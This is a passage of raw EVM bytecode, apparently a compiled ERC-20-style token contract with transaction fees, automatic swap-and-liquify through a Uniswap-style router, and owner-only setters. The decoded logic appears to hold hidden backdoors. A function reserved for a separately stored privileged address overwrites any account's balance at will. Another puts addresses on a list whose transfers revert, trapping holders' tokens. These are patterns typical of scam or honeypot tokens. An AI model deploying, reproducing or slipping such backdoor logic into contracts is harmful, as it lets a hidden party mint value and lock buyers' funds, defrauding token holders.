ff048311821515161562000db75762000db662000e43565b5b828202905092915050565b600062000dcf8262000dd6565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000e2657607f821691505b6020821081141562000e3d5762000e3c62000e72565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b62000ee78162000dc2565b811462000ef357600080fd5b50565b60805160601c6140f462000f1c60003960008181610f310152610f5d01526140f46000f3fe6080604052600436106103035760003560e01c806395d89b4111610190578063c5d24189116100dc578063da00097d11610095578063e3dea9b61161006f578063e3dea9b614610bf5578063f0cd1dac14610c1e578063f2fde38b14610c49578063f872858a14610c725761030a565b8063da00097d14610b62578063dc44b6a014610b8d578063dd62ed3e14610bb85761030a565b8063c5d2418914610a50578063c816841b14610a7b578063c860795214610aa6578063c867d60b14610ad1578063cab0347114610b0e578063d469a20914610b395761030a565b8063a9059cbb11610149578063b69b1f2711610123578063b69b1f27146109aa578063c2d4640e146109d3578063c469b6dd146109fc578063c49b9a8014610a275761030a565b8063a9059cbb146108f3578063ae2116b814610930578063b20a4e5a1461096d5761030a565b806395d89b41146107e1578063a073d37f1461080c578063a08e671f14610837578063a2a6272214610862578063a457c2d71461088b578063a83f53a7146108c85761030a565b80633b97084a1161024f57806370a082311161020857806382eefb43116101e257806382eefb431461072357806388790a681461074e5780638b42507f146107795780638da5cb5b146107b65761030a565b806370a0823114610692578063715266fe146106cf57806372382ec7146106f85761030a565b80633b97084a146105825780633ecad271146105ab5780634a74bb02146105e857806357a5802f1461061357806361a23c691461063e5780636249faf1146106695761030a565b80632563ae83116102bc578063313ce56711610296578063313ce567146104b457806335cdc417146104df57806335d236151461051c57806339509351146105455761030a565b80632563ae831461043557806327c8f8351461045e5780632b112e49146104895761030a565b806306fdde031461030f578063095ea7b31461033a5780631245e347146103775780631694505e146103a257806318160ddd146103cd57806323b872dd146103f85761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c9d565b60405161033191906138b1565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c91906133c8565b610d2f565b60405161036e919061387b565b60405180910390f35b34801561038357600080fd5b5061038c610d4d565b60405161039991906137ff565b60405180910390f35b3480156103ae57600080fd5b506103b7610d73565b6040516103c49190613896565b60405180910390f35b3480156103d957600080fd5b506103e2610d99565b6040516103ef91906139b3565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a9190613375565b610da3565b60405161042c919061387b565b60405180910390f35b34801561044157600080fd5b5061045c60048036038101906104579190613468565b610e7d565b005b34801561046a57600080fd5b50610473610f2f565b60405161048091906137e4565b60405180910390f35b34801561049557600080fd5b5061049e610f53565b6040516104ab91906139b3565b60405180910390f35b3480156104c057600080fd5b506104c9610f97565b6040516104d69190613a58565b60405180910390f35b3480156104eb57600080fd5b50610506600480360381019061050191906132db565b610fae565b604051610513919061387b565b60405180910390f35b34801561052857600080fd5b50610543600480360381019061053e91906132db565b610fce565b005b34801561055157600080fd5b5061056c600480360381019061056791906133c8565b6110a7565b604051610579919061387b565b60405180910390f35b34801561058e57600080fd5b506105a960048036038101906105a491906134f5565b61115a565b005b3480156105b757600080fd5b506105d260048036038101906105cd91906132db565b6111f9565b6040516105df919061387b565b60405180910390f35b3480156105f457600080fd5b506105fd611219565b60405161060a919061387b565b60405180910390f35b34801561061f57600080fd5b5061062861122c565b60405161063591906139b3565b60405180910390f35b34801561064a57600080fd5b50610653611232565b60405161066091906139b3565b60405180910390f35b34801561067557600080fd5b50610690600480360381019061068b9190613408565b611238565b005b34801561069e57600080fd5b506106b960048036038101906106b491906132db565b611372565b6040516106c691906139b3565b60405180910390f35b3480156106db57600080fd5b506106f660048036038101906106f19190613408565b6113bb565b005b34801561070457600080fd5b5061070d6114f5565b60405161071a91906137ff565b60405180910390f35b34801561072f57600080fd5b5061073861151b565b60405161074591906139b3565b60405180910390f35b34801561075a57600080fd5b50610763611521565b60405161077091906139b3565b60405180910390f35b34801561078557600080fd5b506107a0600480360381019061079b91906132db565b611527565b6040516107ad919061387b565b60405180910390f35b3480156107c257600080fd5b506107cb611547565b6040516107d891906137e4565b60405180910390f35b3480156107ed57600080fd5b506107f6611570565b60405161080391906138b1565b60405180910390f35b34801561081857600080fd5b50610821611602565b60405161082e91906139b3565b60405180910390f35b34801561084357600080fd5b5061084c61160c565b60405161085991906139b3565b60405180910390f35b34801561086e57600080fd5b5061088960048036038101906108849190613522565b611612565b005b34801561089757600080fd5b506108b260048036038101906108ad91906133c8565b6116f2565b6040516108bf919061387b565b60405180910390f35b3480156108d457600080fd5b506108dd6117bf565b6040516108ea91906139b3565b60405180910390f35b3480156108ff57600080fd5b5061091a600480360381019061091591906133c8565b6117c5565b604051610927919061387b565b60405180910390f35b34801561093c57600080fd5b50610957600480360381019061095291906132db565b6117e4565b604051610964919061387b565b60405180910390f35b34801561097957600080fd5b50610994600480360381019061098f91906132db565b611804565b6040516109a1919061387b565b60405180910390f35b3480156109b657600080fd5b506109d160048036038101906109cc9190613495565b611824565b005b3480156109df57600080fd5b506109fa60048036038101906109f59190613522565b61198a565b005b348015610a0857600080fd5b50610a11611a6a565b604051610a1e91906139b3565b60405180910390f35b348015610a3357600080fd5b50610a4e6004803603810190610a499190613468565b611a70565b005b348015610a5c57600080fd5b50610a65611b59565b604051610a7291906139b3565b60405180910390f35b348015610a8757600080fd5b50610a90611b5f565b604051610a9d91906137e4565b60405180910390f35b348015610ab257600080fd5b50610abb611b85565b604051610ac891906139b3565b60405180910390f35b348015610add57600080fd5b50610af86004803603810190610af391906132db565b611b8b565b604051610b05919061387b565b60405180910390f35b348015610b1a57600080fd5b50610b23611bab565b604051610b3091906139b3565b60405180910390f35b348015610b4557600080fd5b50610b606004803603810190610b5b9190613522565b611bb1565b005b348015610b6e57600080fd5b50610b77611c91565b604051610b84919061387b565b60405180910390f35b348015610b9957600080fd5b50610ba2611ca4565b604051610baf91906139b3565b60405180910390f35b348015610bc457600080fd5b50610bdf6004803603810190610bda9190613335565b611caa565b604051610bec91906139b3565b60405180910390f35b348015610c0157600080fd5b50610c1c6004803603810190610c1791906133c8565b611d31565b005b348015610c2a57600080fd5b50610c33611db0565b604051610c4091906139b3565b60405180910390f35b348015610c5557600080fd5b50610c706004803603810190610c6b91906132db565b611db6565b005b348015610c7e57600080fd5b50610c87611f08565b604051610c94919061387b565b60405180910390f35b606060018054610cac90613cbf565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd890613cbf565b8015610d255780601f10610cfa57610100808354040283529160200191610d25565b820191906000526020600020905b815481529060010190602001808311610d0857829003601f168201915b5050505050905090565b6000610d43610d3c611f79565b8484611f81565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601954905090565b6000610db084848461214c565b50610e7284610dbd611f79565b610e6d8560405180606001604052806028815260200161407260289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610e23611f79565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125769092919063ffffffff16565b611f81565b600190509392505050565b610e85611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0990613953565b60405180910390fd5b80601c60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610f92610f817f0000000000000000000000000000000000000000000000000000000000000000611372565b6019546125da90919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600c6020528060005260406000206000915054906101000a900460ff1681565b610fd6611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105a90613953565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006111506110b4611f79565b8461114b85600660006110c5611f79565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1b90919063ffffffff16565b611f81565b6001905092915050565b611162611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e690613953565b60405180910390fd5b80601a8190555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601c60159054906101000a900460ff1681565b60135481565b60145481565b611240611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c490613953565b60405180910390fd5b60005b8383905081101561136c5781600860008686858181106112f3576112f2613dc7565b5b905060200201602081019061130891906132db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136490613cf1565b9150506112d0565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113c3611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611450576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144790613953565b60405180910390fd5b60005b838390508110156114ef57816007600086868581811061147657611475613dc7565b5b905060200201602081019061148b91906132db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114e790613cf1565b915050611453565b50505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b60105481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461157f90613cbf565b80601f01602080910402602001604051908101604052809291908181526020018280546115ab90613cbf565b80156115f85780601f106115cd576101008083540402835291602001916115f8565b820191906000526020600020905b8154815290600101906020018083116115db57829003601f168201915b5050505050905090565b6000601a54905090565b60185481565b61161a611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169e90613953565b60405180910390fd5b8260108190555081601181905550806012819055506116e76012546116d9601154601054611f1b90919063ffffffff16565b611f1b90919063ffffffff16565b601781905550505050565b60006117b56116ff611f79565b846117b08560405180606001604052806025815260200161409a6025913960066000611729611f79565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125769092919063ffffffff16565b611f81565b6001905092915050565b60155481565b60006117d96117d2611f79565b848461214c565b506001905092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b611852600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336001612624565b61185b57600080fd5b60005b828290508110156119845783156118f3576001600c600085858581811061188857611887613dc7565b5b905060200201602081019061189d91906132db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611973565b6000600c600085858581811061190c5761190b613dc7565b5b905060200201602081019061192191906132db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061197d90613cf1565b905061185e565b50505050565b611992611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1690613953565b60405180910390fd5b826013819055508160148190555080601581905550611a5f601554611a51601454601354611f1b90919063ffffffff16565b611f1b90919063ffffffff16565b601881905550505050565b600f5481565b611a78611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afc90613953565b60405180910390fd5b80601c60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611b4e919061387b565b60405180910390a150565b600e5481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b60086020528060005260406000206000915054906101000a900460ff1681565b60125481565b611bb9611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3d90613953565b60405180910390fd5b82600d8190555081600e8190555080600f81905550611c86600f54611c78600e54600d54611f1b90919063ffffffff16565b611f1b90919063ffffffff16565b601681905550505050565b601c60169054906101000a900460ff1681565b600d5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611d5f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336001612624565b611d6857600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60165481565b611dbe611f79565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4290613953565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601c60179054906101000a900460ff1681565b6000808284611f2a9190613ac8565b905083811015611f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6690613913565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe890613993565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612061576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612058906138f3565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161213f91906139b3565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156121bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b490613973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561222d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612224906138d3565b60405180910390fd5b601c60149054906101000a900460ff16156122545761224d848484612696565b905061256f565b600061225f30611372565b90506000601a5482101590508080156122855750601c60149054906101000a900460ff16155b80156122db5750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122f35750601c60159054906101000a900460ff165b1561231d57601c60169054906101000a900460ff161561231357601a5491505b61231c82612869565b5b61236f84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125da90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124555750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61246957612464878787612a5a565b61246b565b845b90506124bf81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1b90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161255f91906139b3565b60405180910390a3600193505050505b9392505050565b60008383111582906125be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b591906138b1565b60405180910390fd5b50600083856125cd9190613ba9565b9050809150509392505050565b600061261c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612576565b905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561268d5750600173ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b90509392505050565b6000612721826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125769092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127b682600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1b90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161285691906139b3565b60405180910390a3600190509392505050565b6001601c60146101000a81548160ff02191690831515021790555060006128c260026128b46018546128a660135487612d2a90919063ffffffff16565b612da590919063ffffffff16565b612da590919063ffffffff16565b905060006128d982846125da90919063ffffffff16565b90506128e481612def565b600047905060006129156129046002601354612da590919063ffffffff16565b6018546125da90919063ffffffff16565b9050600061295360026129458461293760135488612d2a90919063ffffffff16565b612da590919063ffffffff16565b612da590919063ffffffff16565b9050600061297e8361297060155487612d2a90919063ffffffff16565b612da590919063ffffffff16565b905060006129a78261299985886125da90919063ffffffff16565b6125da90919063ffffffff16565b905060008111156129df576129de600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261307a565b5b6000821115612a1557612a14600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361307a565b5b600083118015612a255750600087115b15612a3557612a3487846130c5565b5b505050505050506000601c60146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612b0a57600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612b0957600080fd5b5b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612b8b57612b846064612b7660165486612d2a90919063ffffffff16565b612da590919063ffffffff16565b9050612c09565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612c0857612c056064612bf760175486612d2a90919063ffffffff16565b612da590919063ffffffff16565b90505b5b6000811115612d0d57612c6481600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1b90919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612d0491906139b3565b60405180910390a35b612d2081846125da90919063ffffffff16565b9150509392505050565b600080831415612d3d5760009050612d9f565b60008284612d4b9190613b4f565b9050828482612d5a9190613b1e565b14612d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d9190613933565b60405180910390fd5b809150505b92915050565b6000612de783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506131b9565b905092915050565b6000600267ffffffffffffffff811115612e0c57612e0b613df6565b5b604051908082528060200260200182016040528015612e3a5781602001602082028036833780820191505090505b5090503081600081518110612e5257612e51613dc7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612ef457600080fd5b505afa158015612f08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f2c9190613308565b81600181518110612f4057612f3f613dc7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612fa730601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f81565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161300b9594939291906139fe565b600060405180830381600087803b15801561302557600080fd5b505af1158015613039573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161306e9291906139ce565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156130c0573d6000803e3d6000fd5b505050565b6130f230601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f81565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061313e611547565b426040518863ffffffff1660e01b81526004016131609695949392919061381a565b6060604051808303818588803b15801561317957600080fd5b505af115801561318d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906131b29190613575565b5050505050565b60008083118290613200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131f791906138b1565b60405180910390fd5b506000838561320f9190613b1e565b9050809150509392505050565b60008135905061322b8161402c565b92915050565b6000815190506132408161402c565b92915050565b60008083601f84011261325c5761325b613e2a565b5b8235905067ffffffffffffffff81111561327957613278613e25565b5b60208301915083602082028301111561329557613294613e2f565b5b9250929050565b6000813590506132ab81614043565b92915050565b6000813590506132c08161405a565b92915050565b6000815190506132d58161405a565b92915050565b6000602082840312156132f1576132f0613e39565b5b60006132ff8482850161321c565b91505092915050565b60006020828403121561331e5761331d613e39565b5b600061332c84828501613231565b91505092915050565b6000806040838503121561334c5761334b613e39565b5b600061335a8582860161321c565b925050602061336b8582860161321c565b9150509250929050565b60008060006060848603121561338e5761338d613e39565b5b600061339c8682870161321c565b93505060206133ad8682870161321c565b92505060406133be868287016132b1565b9150509250925092565b600080604083850312156133df576133de613e39565b5b60006133ed8582860161321c565b92505060206133fe858286016132b1565b9150509250929050565b60008060006040848603121561342157613420613e39565b5b600084013567ffffffffffffffff81111561343f5761343e613e34565b5b61344b86828701613246565b9350935050602061345e8682870161329c565b9150509250925092565b60006020828403121561347e5761347d613e39565b5b600061348c8482850161329c565b91505092915050565b6000806000604084860312156134ae576134ad613e39565b5b60006134bc8682870161329c565b935050602084013567ffffffffffffffff8111156134dd576134dc613e34565b5b6134e986828701613246565b92509250509250925092565b60006020828403121561350b5761350a613e39565b5b6000613519848285016132b1565b91505092915050565b60008060006060848603121561353b5761353a613e39565b5b6000613549868287016132b1565b935050602061355a868287016132b1565b925050604061356b868287016132b1565b9150509250925092565b60008060006060848603121561358e5761358d613e39565b5b600061359c868287016132c6565b93505060206135ad868287016132c6565b92505060406135be868287016132c6565b9150509250925092565b60006135d483836135ef565b60208301905092915050565b6135e981613bef565b82525050565b6135f881613bdd565b82525050565b61360781613bdd565b82525050565b600061361882613a83565b6136228185613aa6565b935061362d83613a73565b8060005b8381101561365e57815161364588826135c8565b975061365083613a99565b925050600181019050613631565b5085935050505092915050565b61367481613c01565b82525050565b61368381613c44565b82525050565b61369281613c56565b82525050565b60006136a382613a8e565b6136ad8185613ab7565b93506136bd818560208601613c8c565b6136c681613e3e565b840191505092915050565b60006136de602383613ab7565b91506136e982613e4f565b604082019050919050565b6000613701602283613ab7565b915061370c82613e9e565b604082019050919050565b6000613724601b83613ab7565b915061372f82613eed565b602082019050919050565b6000613747602183613ab7565b915061375282613f16565b604082019050919050565b600061376a602083613ab7565b915061377582613f65565b602082019050919050565b600061378d602583613ab7565b915061379882613f8e565b604082019050919050565b60006137b0602483613ab7565b91506137bb82613fdd565b604082019050919050565b6137cf81613c2d565b82525050565b6137de81613c37565b82525050565b60006020820190506137f960008301846135fe565b92915050565b600060208201905061381460008301846135e0565b92915050565b600060c08201905061382f60008301896135fe565b61383c60208301886137c6565b6138496040830187613689565b6138566060830186613689565b61386360808301856135fe565b61387060a08301846137c6565b979650505050505050565b6000602082019050613890600083018461366b565b92915050565b60006020820190506138ab600083018461367a565b92915050565b600060208201905081810360008301526138cb8184613698565b905092915050565b600060208201905081810360008301526138ec816136d1565b9050919050565b6000602082019050818103600083015261390c816136f4565b9050919050565b6000602082019050818103600083015261392c81613717565b9050919050565b6000602082019050818103600083015261394c8161373a565b9050919050565b6000602082019050818103600083015261396c8161375d565b9050919050565b6000602082019050818103600083015261398c81613780565b9050919050565b600060208201905081810360008301526139ac816137a3565b9050919050565b60006020820190506139c860008301846137c6565b92915050565b60006040820190506139e360008301856137c6565b81810360208301526139f5818461360d565b90509392505050565b600060a082019050613a1360008301886137c6565b613a206020830187613689565b8181036040830152613a32818661360d565b9050613a4160608301856135fe565b613a4e60808301846137c6565b9695505050505050565b6000602082019050613a6d60008301846137d5565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613ad382613c2d565b9150613ade83613c2d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b1357613b12613d3a565b5b828201905092915050565b6000613b2982613c2d565b9150613b3483613c2d565b925082613b4457613b43613d69565b5b828204905092915050565b6000613b5a82613c2d565b9150613b6583613c2d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b9e57613b9d613d3a565b5b828202905092915050565b6000613bb482613c2d565b9150613bbf83613c2d565b925082821015613bd257613bd1613d3a565b5b828203905092915050565b6000613be882613c0d565b9050919050565b6000613bfa82613c0d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613c4f82613c68565b9050919050565b6000613c6182613c2d565b9050919050565b6000613c7382613c7a565b9050919050565b6000613c8582613c0d565b9050919050565b60005b83811015613caa578082015181840152602081019050613c8f565b83811115613cb9576000848401525b50505050565b60006002820490506001821680613cd757607f821691505b60208210811415613ceb57613cea613d98565b5b50919050565b6000613cfc82613c2d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d2f57613d2e613d3a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f77000000000000000000000000000000000000